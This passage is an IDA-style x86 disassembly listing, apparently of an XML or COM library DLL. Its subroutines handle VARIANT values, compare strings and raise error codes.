jnz short loc_69B4B78A
loc_69B4B7CF: ; CODE XREF: sub_69B4B74A+48j
pop edi
loc_69B4B7D0: ; CODE XREF: sub_69B4B74A+3Bj
pop ebx
loc_69B4B7D1: ; CODE XREF: sub_69B4B74A+7j
pop esi
retn 0Ch
sub_69B4B74A endp
; =============== S U B R O U T I N E =======================================
sub_69B4B7D5 proc near ; CODE XREF: sub_69B4BA87+14p
; sub_69B4BC9Cj ...
mov edx, [ecx+8]
mov eax, 0C0000h
and edx, eax
cmp edx, eax
jnz short loc_69B4B7F5
mov eax, [ecx]
call dword ptr [eax+11Ch]
test eax, eax
jnz short locret_69B4B800
mov eax, offset off_69B1A5AC
retn
; ---------------------------------------------------------------------------
loc_69B4B7F5: ; CODE XREF: sub_69B4B7D5+Cj
push 1
push 1
push 1
call sub_69B4AAFC
locret_69B4B800: ; CODE XREF: sub_69B4B7D5+18j
retn
sub_69B4B7D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4B801 proc near ; CODE XREF: sub_69B4CEA8+DEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, [esi+8]
push edi
shr eax, 4
and eax, 3Fh
push eax
push [ebp+arg_0]
lea eax, [ebp+var_4]
xor edi, edi
push eax
mov [ebp+var_4], edi
call sub_69B30E5D
cmp eax, edi
jz short loc_69B4B82E
push eax
call sub_69B2E8B8
loc_69B4B82E: ; CODE XREF: sub_69B4B801+25j
push edi
push 1
push 1
mov ecx, esi
call sub_69B4B74A
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
test eax, eax
jz short loc_69B4B85F
mov eax, [esi+0Ch]
push dword ptr [eax+50h]
push eax
push edi
push edi
push [ebp+var_4]
push esi
push edi
push 1
call sub_69B49219
jmp short loc_69B4B86C
; ---------------------------------------------------------------------------
loc_69B4B85F: ; CODE XREF: sub_69B4B801+45j
push [ebp+var_4]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+114h]
loc_69B4B86C: ; CODE XREF: sub_69B4B801+5Cj
pop edi
pop esi
leave
retn 4
sub_69B4B801 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4B872 proc near ; CODE XREF: sub_69B14EAC+91p
; sub_69B4BCC4+4Ap ...
var_14 = word ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
mov esi, ecx
mov eax, [esi+8]
xor ebx, ebx
shr eax, 0Eh
inc ebx
test al, bl
jz short loc_69B4B8F4
mov eax, [esi]
push edi
mov [ebp+var_14], bx
call dword ptr [eax+0F4h]
mov edi, eax
mov eax, [esi+8]
mov ecx, eax
shr ecx, 0Fh
test cl, bl
jz short loc_69B4B8E3
shr eax, 0Ah
test al, bl
jnz short loc_69B4B8E3
test edi, edi
jz short loc_69B4B8E3
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov [ebp+var_4], eax
mov eax, [esi+8]
shr eax, 0Fh
test al, bl
jz short loc_69B4B8E3
push 0
push ebx
mov ecx, esi
call sub_69B4AD10
test eax, eax
jz short loc_69B4B8DF
mov ecx, [ebp+var_4]
push eax
call sub_69B8B033
and dword ptr [edi+8], 0FFFFFFFBh
loc_69B4B8DF: ; CODE XREF: sub_69B4B872+5Ej
and byte ptr [esi+9], 7Fh
loc_69B4B8E3: ; CODE XREF: sub_69B4B872+30j
; sub_69B4B872+37j ...
mov eax, [esi]
lea ecx, [ebp+var_14]
push ecx
push 0
mov ecx, esi
call dword ptr [eax+0E8h]
pop edi
loc_69B4B8F4: ; CODE XREF: sub_69B4B872+15j
and word ptr [esi+8], 0BC0Fh
pop esi
pop ebx
leave
retn
sub_69B4B872 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4B8FE proc near ; CODE XREF: sub_69B4277B+69p
pvarg = VARIANTARG ptr -10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, ecx
mov eax, [esi+8]
xor ebx, ebx
mov ecx, eax
shr ecx, 11h
inc ebx
test cl, bl
jz loc_69B4B9B6
mov ecx, [esi+14h]
cmp word ptr [ecx+8], 0Ah
jnz loc_69B4B9B6
shr eax, 4
and eax, 3Fh
push edi
jz short loc_69B4B956
xor edi, edi
push edi
push edi
lea ecx, [ebp+pvarg]
push ecx
push eax
push edi
push dword ptr [esi+0Ch]
mov ecx, esi
mov word ptr [ebp+pvarg.anonymous_0], bx
call sub_69B4858B
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
jmp short loc_69B4B9B5
; ---------------------------------------------------------------------------
loc_69B4B956: ; CODE XREF: sub_69B4B8FE+32j
push dword ptr [esi+0Ch]
push esi
call sub_69B4A04A
xor edi, edi
cmp eax, edi
jz short loc_69B4B971
push ebx
push ebx
push ebx
mov ecx, eax
call sub_69B4AAFC
jmp short loc_69B4B993
; ---------------------------------------------------------------------------
loc_69B4B971: ; CODE XREF: sub_69B4B8FE+65j
mov eax, [esi+8]
shr eax, 14h
test al, bl
mov ecx, esi
push edi
jz short loc_69B4B987
push edi
push edi
call sub_69B4936A
jmp short loc_69B4B98C
; ---------------------------------------------------------------------------
loc_69B4B987: ; CODE XREF: sub_69B4B8FE+7Ej
call sub_69B48E56
loc_69B4B98C: ; CODE XREF: sub_69B4B8FE+87j
cmp eax, edi
jz short loc_69B4B997
mov eax, [eax+1Ch]
loc_69B4B993: ; CODE XREF: sub_69B4B8FE+71j
cmp eax, edi
jnz short loc_69B4B9A1
loc_69B4B997: ; CODE XREF: sub_69B4B8FE+90j
push offset a??UnknownDatat ; "?? Unknown Datatype ??"
call sub_69B1A587
loc_69B4B9A1: ; CODE XREF: sub_69B4B8FE+97j
push edi
push eax
push 0C00CE21Ch
push 80004005h
call sub_69B2E9D0
add esp, 10h
loc_69B4B9B5: ; CODE XREF: sub_69B4B8FE+56j
pop edi
loc_69B4B9B6: ; CODE XREF: sub_69B4B8FE+17j
; sub_69B4B8FE+25j
pop esi
pop ebx
leave
retn
sub_69B4B8FE endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR a??UnknownDatat
a??UnknownDatat: ; DATA XREF: sub_69B4B8FE:loc_69B4B997o
unicode 0, <?? Unknown Datatype ??>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B4B9EA(VARIANTARG *pvargDest)
sub_69B4B9EA proc near ; DATA XREF: .text:69B1DE0Co
pvargSrc = VARIANTARG ptr -10h
pvargDest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov edi, ecx
mov esi, [edi+8]
shr esi, 4
and esi, 3Fh
push esi
call sub_69B2FB83
mov edx, [edi+8]
xor ecx, ecx
shr edx, 11h
inc ecx
test dl, cl
jz short loc_69B4BA4D
cmp ax, 8
jz short loc_69B4BA4D
mov eax, [edi+14h]
cmp word ptr [eax+8], 0Ah
jz short loc_69B4BA4D
mov cx, [eax+8]
mov word ptr [ebp+pvargSrc.anonymous_0], cx
mov ecx, [eax+18h]
mov dword ptr [ebp+pvargSrc.anonymous_0+8], ecx
mov eax, [eax+1Ch]
mov dword ptr [ebp+pvargSrc.anonymous_0+0Ch], eax
lea eax, [ebp+pvargSrc]
push eax ; pvargSrc
push [ebp+pvargDest] ; pvargDest
call VariantCopy
test eax, eax
jz short loc_69B4BA81
push eax
call sub_69B2E8B8
jmp short loc_69B4BA81
; ---------------------------------------------------------------------------
loc_69B4BA4D: ; CODE XREF: sub_69B4B9EA+24j
; sub_69B4B9EA+2Aj ...
cmp esi, 1Ah
jz short loc_69B4BA7B
cmp esi, 24h
jz short loc_69B4BA7B
push ecx
push ecx
push ecx
mov ecx, edi
call sub_69B4AAFC
push dword ptr [eax+8] ; UINT
mov ecx, [eax+0Ch]
push ecx ; OLECHAR *
call SysAllocStringLen
mov ecx, [ebp+pvargDest]
mov word ptr [ecx], 8
mov [ecx+8], eax
jmp short loc_69B4BA81
; ---------------------------------------------------------------------------
loc_69B4BA7B: ; CODE XREF: sub_69B4B9EA+66j
; sub_69B4B9EA+6Bj
mov eax, [ebp+pvargDest]
mov [eax], cx
loc_69B4BA81: ; CODE XREF: sub_69B4B9EA+59j
; sub_69B4B9EA+61j ...
pop edi
pop esi
leave
retn 4
sub_69B4B9EA endp
; =============== S U B R O U T I N E =======================================
sub_69B4BA87 proc near ; CODE XREF: sub_69B4BCB5+4j
; sub_69B4CC55+82p
arg_0 = dword ptr 4
push dword ptr [ecx+0Ch]
push 0Fh
push [esp+8+arg_0]
call sub_69B49C1F
test eax, eax
jz short loc_69B4BAA2
mov ecx, eax
call sub_69B4B7D5
jmp short locret_69B4BAA4
; ---------------------------------------------------------------------------
loc_69B4BAA2: ; CODE XREF: sub_69B4BA87+10j
xor eax, eax
locret_69B4BAA4: ; CODE XREF: sub_69B4BA87+19j
retn 4
sub_69B4BA87 endp
; =============== S U B R O U T I N E =======================================
sub_69B4BAA7 proc near ; CODE XREF: sub_69B4BCA1+Cp
; sub_69B4CC14+2Ap ...
push 3Ch
push offset dword_69B4BC90
call sub_69B19C5C
mov ebx, ecx
mov [ebp-1Ch], ebx
call sub_69B48CEA
mov esi, [ebp+8]
xor edi, edi
cmp esi, edi
jz loc_69B4BB96
xor eax, eax
mov al, [ebx+0Bh]
and eax, 1Fh
mov eax, lpString[eax*4]
mov [ebp-20h], eax
cmp eax, edi
jz loc_69B4BB96
mov ecx, [esi+8]
mov [ebp-24h], ecx
push eax ; lpString
call ds:lstrlenW ; lstrlenW
mov [ebp-28h], eax
mov edx, [esi+0Ch]
mov [ebp-2Ch], edx
xor eax, eax
mov al, [ebx+0Bh]
mov [ebp-30h], eax
and dword ptr [ebp-30h], 1Fh
cmp dword ptr [ebp-30h], 2
jnz short loc_69B4BB17
mov eax, [ebp-24h]
cmp word ptr [edx+eax*2-2], 2Dh
jz short loc_69B4BB73
loc_69B4BB17: ; CODE XREF: sub_69B4BAA7+63j
mov ax, [edx]
cmp ax, di
jz short loc_69B4BB5A
mov ecx, [ebp-20h]
mov cx, [ecx]
mov [ebp-34h], cx
loc_69B4BB29: ; CODE XREF: sub_69B4BAA7+AEj
cmp ax, [ebp-34h]
jnz short loc_69B4BB4A
mov eax, [ebp-28h]
cmp [ebp-24h], eax
jl short loc_69B4BB4A
lea ecx, [eax+eax]
mov edi, [ebp-20h]
mov esi, edx
xor eax, eax
repe cmpsb
mov esi, [ebp+8]
jz short loc_69B4BB71
xor edi, edi
loc_69B4BB4A: ; CODE XREF: sub_69B4BAA7+86j
; sub_69B4BAA7+8Ej
dec dword ptr [ebp-24h]
inc edx
inc edx
mov ax, [edx]
cmp ax, di
jnz short loc_69B4BB29
mov edx, [ebp-2Ch]
loc_69B4BB5A: ; CODE XREF: sub_69B4BAA7+76j
cmp dword ptr [ebp-30h], 2
jnz short loc_69B4BB96
mov eax, [esi+8]
cmp eax, edi
jz short loc_69B4BB96
cmp word ptr [edx+eax*2-2], 2Dh
jnz short loc_69B4BB96
jmp short loc_69B4BB73
; ---------------------------------------------------------------------------
loc_69B4BB71: ; CODE XREF: sub_69B4BAA7+9Fj
xor edi, edi
loc_69B4BB73: ; CODE XREF: sub_69B4BAA7+6Ej
; sub_69B4BAA7+C8j
push edi
mov eax, [ebp-30h]
push lpMultiByteStr[eax*4] ; lpMultiByteStr
call sub_69B1D494
push eax
push 0C00CE215h
push 80070057h
call sub_69B2E9D0
add esp, 10h
loc_69B4BB96: ; CODE XREF: sub_69B4BAA7+1Dj
; sub_69B4BAA7+37j ...
push 1
push 1
mov ecx, ebx
call sub_69B482CE
mov [ebp-38h], eax
cmp eax, edi
jz short loc_69B4BBB7
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+0F4h]
mov [ebp-3Ch], eax
jmp short loc_69B4BBBA
; ---------------------------------------------------------------------------
loc_69B4BBB7: ; CODE XREF: sub_69B4BAA7+FFj
mov [ebp-3Ch], edi
loc_69B4BBBA: ; CODE XREF: sub_69B4BAA7+10Ej
cmp [ebp-38h], edi
jz short loc_69B4BBD0
mov ecx, [ebx+0Ch]
mov eax, [ecx]
push edi
push dword ptr [ebp-3Ch]
push dword ptr [ebp-38h]
push edi
push edi
call dword ptr [eax+74h]
loc_69B4BBD0: ; CODE XREF: sub_69B4BAA7+116j
mov [ebp-4], edi
cmp esi, edi
jnz short loc_69B4BBE1
mov dword ptr [ebp+8], offset off_69B1A5AC
mov esi, [ebp+8]
loc_69B4BBE1: ; CODE XREF: sub_69B4BAA7+12Ej
test byte ptr [ebx+0Ah], 0Ch
jz short loc_69B4BBFC
push esi
mov ecx, ebx
call sub_69B4B3ED
mov eax, [ebx]
push esi
mov ecx, ebx
call dword ptr [eax+114h]
jmp short loc_69B4BC3A
; ---------------------------------------------------------------------------
loc_69B4BBFC: ; CODE XREF: sub_69B4BAA7+13Ej
cmp byte ptr [ebp+0Ch], 0
jnz short loc_69B4BC3A
push esi
mov ecx, ebx
call sub_69B4B3ED
push edi
push edi
cmp [ebp-38h], edi
setz al
push eax
mov ecx, ebx
call sub_69B4B74A
mov eax, [ebx+0Ch]
mov [ebp-40h], eax
mov ecx, [eax+50h]
mov [ebp-44h], ecx
mov [ebp-48h], eax
push ecx
push eax
push edi
push edi
push esi
push ebx
push edi
push 1
call sub_69B49219
mov [ebp-4Ch], eax
loc_69B4BC3A: ; CODE XREF: sub_69B4BAA7+153j
; sub_69B4BAA7+159j
cmp [ebp-38h], edi
jz short loc_69B4BC82
mov ebx, [ebx+0Ch]
mov eax, [ebx]
push edi
push dword ptr [ebp-3Ch]
push dword ptr [ebp-38h]
push 2
push edi
mov ecx, ebx
call dword ptr [eax+74h]
jmp short loc_69B4BC82
; ---------------------------------------------------------------------------
loc_69B4BC55: ; DATA XREF: .text:69B4BC94o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4BC5E: ; DATA XREF: .text:69B4BC98o
mov esp, [ebp-18h]
xor eax, eax
cmp [ebp-38h], eax
jz short loc_69B4BC7D
mov ecx, [ebp-1Ch]
mov ecx, [ecx+0Ch]
mov edx, [ecx]
push eax
push dword ptr [ebp-3Ch]
push dword ptr [ebp-38h]
push 1
push eax
call dword ptr [edx+74h]
loc_69B4BC7D: ; CODE XREF: sub_69B4BAA7+1BFj
call sub_69B2E860
loc_69B4BC82: ; CODE XREF: sub_69B4BAA7+196j
; sub_69B4BAA7+1ACj
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 8
sub_69B4BAA7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B4BC90 dd 0FFFFFFFFh dd offset loc_69B4BC55
dd offset loc_69B4BC5E
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B4BC9C proc near ; DATA XREF: .text:69B152F0o
; .text:69B1DD40o
jmp sub_69B4B7D5
sub_69B4BC9C endp
; =============== S U B R O U T I N E =======================================
sub_69B4BCA1 proc near ; DATA XREF: .text:69B152F4o
; .text:69B1DD44o
arg_0 = dword ptr 4
test byte ptr [ecx+0Ah], 0Ch
jz short locret_69B4BCB2
push 1
push [esp+4+arg_0]
call sub_69B4BAA7
locret_69B4BCB2: ; CODE XREF: sub_69B4BCA1+4j
retn 4
sub_69B4BCA1 endp
; =============== S U B R O U T I N E =======================================
sub_69B4BCB5 proc near ; DATA XREF: .text:69B1533Co
; .text:69B1DD8Co
test byte ptr [ecx+0Ah], 0Ch
jz sub_69B4BA87
xor eax, eax
retn 4
sub_69B4BCB5 endp
; =============== S U B R O U T I N E =======================================
sub_69B4BCC4 proc near ; CODE XREF: sub_69B4C674+269p
; sub_69B4C674+50Fp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+8]
shr eax, 14h
test al, 1
jz short loc_69B4BD13
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
push edi
mov edi, eax
jg short loc_69B4BCE4
call sub_69B2E6D8
loc_69B4BCE4: ; CODE XREF: sub_69B4BCC4+19j
mov eax, [esi]
mov edi, [edi+88h]
mov ecx, esi
call dword ptr [eax+38h]
cmp edi, eax
pop edi
jnz short loc_69B4BD13
mov eax, [esp+4+arg_0]
test eax, eax
jnz short loc_69B4BD0C
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B4BD13
loc_69B4BD0C: ; CODE XREF: sub_69B4BCC4+38j
mov ecx, eax
call sub_69B4B872
loc_69B4BD13: ; CODE XREF: sub_69B4BCC4+Bj
; sub_69B4BCC4+30j ...
pop esi
retn 4
sub_69B4BCC4 endp
; =============== S U B R O U T I N E =======================================
sub_69B4BD17 proc near ; CODE XREF: sub_69B4BD17+336p
; sub_69B4BD17+692p ...
push 98h
push offset dword_69B4C3E0
call sub_69B19C5C
mov esi, ecx
xor ebx, ebx
mov [ebp-1Ch], ebx
mov eax, [esi]
call dword ptr [eax+3Ch]
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_69B4BD41
mov eax, [eax+8]
mov [ebp-24h], eax
jmp short loc_69B4BD44
; ---------------------------------------------------------------------------
loc_69B4BD41: ; CODE XREF: sub_69B4BD17+20j
mov [ebp-24h], ebx
loc_69B4BD44: ; CODE XREF: sub_69B4BD17+28j
mov ecx, [esi+8]
mov eax, ecx
shr eax, 0Eh
test al, 1
jz short loc_69B4BD5C
mov eax, ecx
shr eax, 1
test al, 1
mov byte ptr [ebp-25h], 1
jz short loc_69B4BD60
loc_69B4BD5C: ; CODE XREF: sub_69B4BD17+37j
mov byte ptr [ebp-25h], 0
loc_69B4BD60: ; CODE XREF: sub_69B4BD17+43j
mov edi, [ebp+8]
cmp [edi+14h], ebx
jz short loc_69B4BD71
cmp [edi+18h], esi
mov byte ptr [ebp-26h], 1
jz short loc_69B4BD75
loc_69B4BD71: ; CODE XREF: sub_69B4BD17+4Fj
mov byte ptr [ebp-26h], 0
loc_69B4BD75: ; CODE XREF: sub_69B4BD17+58j
mov eax, ecx
shr eax, 0Ah
and al, 1
mov [ebp-27h], al
mov eax, [esi+0Ch]
mov [ebp-2Ch], eax
movzx edx, byte ptr [edi+1Ch]
shl edx, 0Ah
xor edx, ecx
and edx, 400h
xor edx, ecx
mov [esi+8], edx
mov ecx, [edi]
mov [ebp-30h], ecx
cmp ecx, eax
jz loc_69B4BECE
mov ebx, [esi+4]
mov ecx, esi
call sub_69B17275
test eax, eax
jz short loc_69B4BDF4
test bl, 1
jz short loc_69B4BDBE
shr ebx, 3
jmp short loc_69B4BDC0
; ---------------------------------------------------------------------------
loc_69B4BDBE: ; CODE XREF: sub_69B4BD17+A0j
xor ebx, ebx
loc_69B4BDC0: ; CODE XREF: sub_69B4BD17+A5j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F8h]
neg al
sbb eax, eax
neg eax
cmp ebx, eax
jle short loc_69B4BDE4
mov ecx, [ebp-30h]
call sub_69B1E0E2
mov ecx, [ebp-2Ch]
call sub_69B3F0A6
loc_69B4BDE4: ; CODE XREF: sub_69B4BD17+BBj
push dword ptr [edi]
lea eax, [esi+0Ch]
push eax
call sub_69B2DEB2
jmp loc_69B4BEA6
; ---------------------------------------------------------------------------
loc_69B4BDF4: ; CODE XREF: sub_69B4BD17+9Bj
cmp ebx, 0FFFFFFFFh
jz short loc_69B4BE1D
test bl, 1
jz short loc_69B4BE03
shr ebx, 3
jmp short loc_69B4BE05
; ---------------------------------------------------------------------------
loc_69B4BE03: ; CODE XREF: sub_69B4BD17+E5j
xor ebx, ebx
loc_69B4BE05: ; CODE XREF: sub_69B4BD17+EAj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F8h]
neg al
sbb eax, eax
neg eax
cmp ebx, eax
mov byte ptr [ebp-31h], 1
jg short loc_69B4BE21
loc_69B4BE1D: ; CODE XREF: sub_69B4BD17+E0j
mov byte ptr [ebp-31h], 0
loc_69B4BE21: ; CODE XREF: sub_69B4BD17+104j
; sub_69B4BD17+168j
cmp byte ptr [ebp-31h], 0
jz short loc_69B4BE2F
mov ecx, [ebp-30h]
call sub_69B1E0E2
loc_69B4BE2F: ; CODE XREF: sub_69B4BD17+10Ej
lea eax, [esi+4]
push eax ; Target
call sub_69B18980
mov [ebp-38h], eax
test al, 1
jz short loc_69B4BE46
mov ebx, eax
shr ebx, 3
jmp short loc_69B4BE48
; ---------------------------------------------------------------------------
loc_69B4BE46: ; CODE XREF: sub_69B4BD17+126j
xor ebx, ebx
loc_69B4BE48: ; CODE XREF: sub_69B4BD17+12Dj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F8h]
neg al
sbb eax, eax
neg eax
cmp ebx, eax
setnle bl
cmp bl, [ebp-31h]
jz short loc_69B4BE81
push dword ptr [ebp-38h]
lea eax, [esi+4]
push eax
call sub_69B18788
cmp byte ptr [ebp-31h], 0
jz short loc_69B4BE7C
mov ecx, [ebp-30h]
call sub_69B3F0A6
loc_69B4BE7C: ; CODE XREF: sub_69B4BD17+15Bj
mov [ebp-31h], bl
jmp short loc_69B4BE21
; ---------------------------------------------------------------------------
loc_69B4BE81: ; CODE XREF: sub_69B4BD17+149j
push dword ptr [edi]
lea eax, [esi+0Ch]
push eax
call sub_69B2DEB2
push dword ptr [ebp-38h]
lea eax, [esi+4]
push eax
call sub_69B18788
cmp byte ptr [ebp-31h], 0
jz short loc_69B4BEA6
mov ecx, [ebp-2Ch]
call sub_69B3F0A6
loc_69B4BEA6: ; CODE XREF: sub_69B4BD17+D8j
; sub_69B4BD17+185j
cmp dword ptr [ebp-20h], 0
jz loc_69B4BFFD
mov eax, [ebp-20h]
push dword ptr [eax+0Ch]
push 0
push dword ptr [ebp-24h]
mov ecx, [edi+0Ch]
call sub_69B3DA18
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0F0h]
loc_69B4BECE: ; CODE XREF: sub_69B4BD17+89j
cmp dword ptr [ebp-20h], 0
jz loc_69B4BFFD
cmp byte ptr [ebp-27h], 0
jnz short loc_69B4BF09
mov eax, [esi+8]
mov ecx, eax
and ecx, 3F0h
cmp ecx, 20h
jnz short loc_69B4BF09
shr eax, 0Fh
test al, 1
jz short loc_69B4BF09
mov ebx, [ebp-2Ch]
mov ecx, ebx
call sub_69B3DABE
push eax
mov ecx, esi
call sub_69B4AE80
jmp short loc_69B4BF0C
; ---------------------------------------------------------------------------
loc_69B4BF09: ; CODE XREF: sub_69B4BD17+1C5j
; sub_69B4BD17+1D5j ...
mov ebx, [ebp-2Ch]
loc_69B4BF0C: ; CODE XREF: sub_69B4BD17+1F0j
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
jz loc_69B4BFC7
cmp eax, 0Bh
jz loc_69B4BFB4
cmp eax, 0Fh
jnz loc_69B4BFFD
mov eax, [ebp-24h]
mov eax, [eax+10h]
cmp eax, dword_69B95A5C
jnz loc_69B4BFFD
push 1
push 1
push 0
mov ecx, esi
call sub_69B4AAFC
xor edx, edx
cmp [eax+8], edx
jz loc_69B4BFFD
mov ecx, [ebx+70h]
push edx ; int
push edx ; lpString
push eax ; int
call sub_69B4D394
mov [ebp-3Ch], eax
mov ecx, ebx
call sub_69B3DABE
test eax, eax
jz short loc_69B4BF89
cmp byte ptr [ebp-27h], 0
jnz short loc_69B4BF89
push dword ptr [ebp-3Ch]
mov ecx, ebx
call sub_69B3DABE
mov ecx, eax
add ecx, 0Ch
call sub_69B48C2B
loc_69B4BF89: ; CODE XREF: sub_69B4BD17+256j
; sub_69B4BD17+25Cj
mov ecx, [edi]
call sub_69B3DABE
test eax, eax
jz short loc_69B4BFFD
mov eax, [esi+8]
shr eax, 0Ah
test al, 1
jnz short loc_69B4BFFD
push dword ptr [ebp-3Ch]
mov ecx, [edi]
call sub_69B3DABE
mov ecx, eax
add ecx, 0Ch
call sub_69B47C9C
jmp short loc_69B4BFFD
; ---------------------------------------------------------------------------
loc_69B4BFB4: ; CODE XREF: sub_69B4BD17+206j
cmp [edi], ebx
jz short loc_69B4BFFD
push 0
push 1
push 0
mov ecx, esi
call sub_69B4B74A
jmp short loc_69B4BFFD
; ---------------------------------------------------------------------------
loc_69B4BFC7: ; CODE XREF: sub_69B4BD17+1FDj
mov eax, [edi+4]
test eax, eax
jz short loc_69B4BFD9
push eax
mov ecx, esi
call sub_69B48E56
mov [ebp-1Ch], eax
loc_69B4BFD9: ; CODE XREF: sub_69B4BD17+2B5j
cmp byte ptr [ebp-27h], 0
jnz short loc_69B4BFFD
push dword ptr [ebp-24h]
call sub_69B48CC4
test al, al
jz short loc_69B4BFFD
push esi
mov ecx, ebx
call sub_69B3DABE
mov ecx, eax
add ecx, 1Ch
call sub_69B48C85
loc_69B4BFFD: ; CODE XREF: sub_69B4BD17+193j
; sub_69B4BD17+1BBj ...
lea eax, [ebp-40h]
push eax
mov ecx, esi
call sub_69B48DC1
jmp short loc_69B4C05D
; ---------------------------------------------------------------------------
loc_69B4C00A: ; CODE XREF: sub_69B4BD17+34Aj
mov eax, [ebx+8]
shr eax, 14h
test al, 1
jz short loc_69B4C048
mov eax, dword_69B95A84
mov [ebp-44h], eax
cmp dword ptr [eax+8], 1Fh
jg short loc_69B4C027
call sub_69B2E6D8
loc_69B4C027: ; CODE XREF: sub_69B4BD17+309j
mov eax, [ebp-44h]
mov eax, [eax+88h]
mov [ebp-48h], eax
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+38h]
cmp [ebp-48h], eax
jnz short loc_69B4C043
mov byte ptr [ebp-25h], 0
loc_69B4C043: ; CODE XREF: sub_69B4BD17+326j
push dword ptr [ebp-1Ch]
jmp short loc_69B4C04A
; ---------------------------------------------------------------------------
loc_69B4C048: ; CODE XREF: sub_69B4BD17+2FBj
push 0
loc_69B4C04A: ; CODE XREF: sub_69B4BD17+32Fj
mov ecx, ebx
push edi
call sub_69B4BD17
lea eax, [ebp-40h]
push eax
mov ecx, esi
call sub_69B47D9F
loc_69B4C05D: ; CODE XREF: sub_69B4BD17+2F1j
mov ebx, eax
test ebx, ebx
jnz short loc_69B4C00A
cmp [ebp-20h], eax
jz loc_69B4C3D8
cmp [ebp-26h], al
jz short loc_69B4C076
mov ebx, [edi+14h]
jmp short loc_69B4C078
; ---------------------------------------------------------------------------
loc_69B4C076: ; CODE XREF: sub_69B4BD17+358j
xor ebx, ebx
loc_69B4C078: ; CODE XREF: sub_69B4BD17+35Dj
mov [ebp-4Ch], ebx
mov eax, [esi+8]
mov ecx, eax
shr ecx, 0Eh
test cl, 1
jz loc_69B4C137
cmp byte ptr [ebp-25h], 0
jnz loc_69B4C137
mov ecx, eax
shr ecx, 0Ah
test cl, 1
jnz loc_69B4C3D8
and eax, 3F0h
cmp eax, 20h
jnz loc_69B4C3D8
cmp byte ptr [ebp-26h], 0
jz loc_69B4C3D8
test ebx, ebx
jz loc_69B4C3D8
xor edi, edi
inc edi
mov [ebp-5Ch], di
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov [ebp-60h], eax
mov eax, [esi+8]
shr eax, 0Fh
test al, 1
jz short loc_69B4C0FF
push 0
push edi
mov ecx, esi
call sub_69B4AD10
test eax, eax
jz short loc_69B4C0FB
push eax
mov ecx, [ebp-60h]
call sub_69B8B033
and dword ptr [ebx+8], 0FFFFFFFBh
loc_69B4C0FB: ; CODE XREF: sub_69B4BD17+3D5j
and byte ptr [esi+9], 7Fh
loc_69B4C0FF: ; CODE XREF: sub_69B4BD17+3C7j
push 0
mov ecx, esi
call sub_69B47E6C
push eax
push edi
mov ecx, esi
call sub_69B4AD10
test eax, eax
jz short loc_69B4C122
push edi
push ebx
push eax
push dword ptr [ebp-60h]
mov ecx, esi
call sub_69B481EB
loc_69B4C122: ; CODE XREF: sub_69B4BD17+3FCj
mov eax, [esi]
lea ecx, [ebp-5Ch]
push ecx
push 2
mov ecx, esi
call dword ptr [eax+0E8h]
jmp loc_69B4C3D8
; ---------------------------------------------------------------------------
loc_69B4C137: ; CODE XREF: sub_69B4BD17+36Fj
; sub_69B4BD17+379j
mov ebx, [edi+4]
and dword ptr [ebp-64h], 0
test ebx, ebx
jz loc_69B4C3CB
shr eax, 18h
and eax, 1Fh
jz short loc_69B4C185
cmp eax, 0Fh
jnz short loc_69B4C19B
mov eax, [ebp+0Ch]
test eax, eax
jnz short loc_69B4C16C
cmp [ebp-26h], al
jz short loc_69B4C19B
push ebx
mov ecx, [ebp-4Ch]
call sub_69B48E56
test eax, eax
jz short loc_69B4C19B
loc_69B4C16C: ; CODE XREF: sub_69B4BD17+441j
cmp byte ptr [ebp-26h], 0
jz short loc_69B4C177
mov ecx, [edi+14h]
jmp short loc_69B4C179
; ---------------------------------------------------------------------------
loc_69B4C177: ; CODE XREF: sub_69B4BD17+459j
xor ecx, ecx
loc_69B4C179: ; CODE XREF: sub_69B4BD17+45Ej
push ecx
push ebx
push eax
mov ecx, esi
call sub_69B4936A
jmp short loc_69B4C18D
; ---------------------------------------------------------------------------
loc_69B4C185: ; CODE XREF: sub_69B4BD17+435j
push ebx
mov ecx, esi
call sub_69B48E56
loc_69B4C18D: ; CODE XREF: sub_69B4BD17+46Cj
test eax, eax
jz short loc_69B4C19B
mov ecx, eax
call sub_69B8C6AD
mov [ebp-64h], eax
loc_69B4C19B: ; CODE XREF: sub_69B4BD17+43Aj
; sub_69B4BD17+446j ...
xor eax, eax
cmp [ebp-64h], eax
jz loc_69B4C3D8
mov [ebp-4], eax
mov [ebp-68h], eax
mov edi, [ebp-4Ch]
mov [ebp-6Ch], edi
mov [ebp-70h], eax
xor ebx, ebx
inc ebx
mov [ebp-80h], bx
cmp edi, eax
jnz short loc_69B4C1CF
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov edi, eax
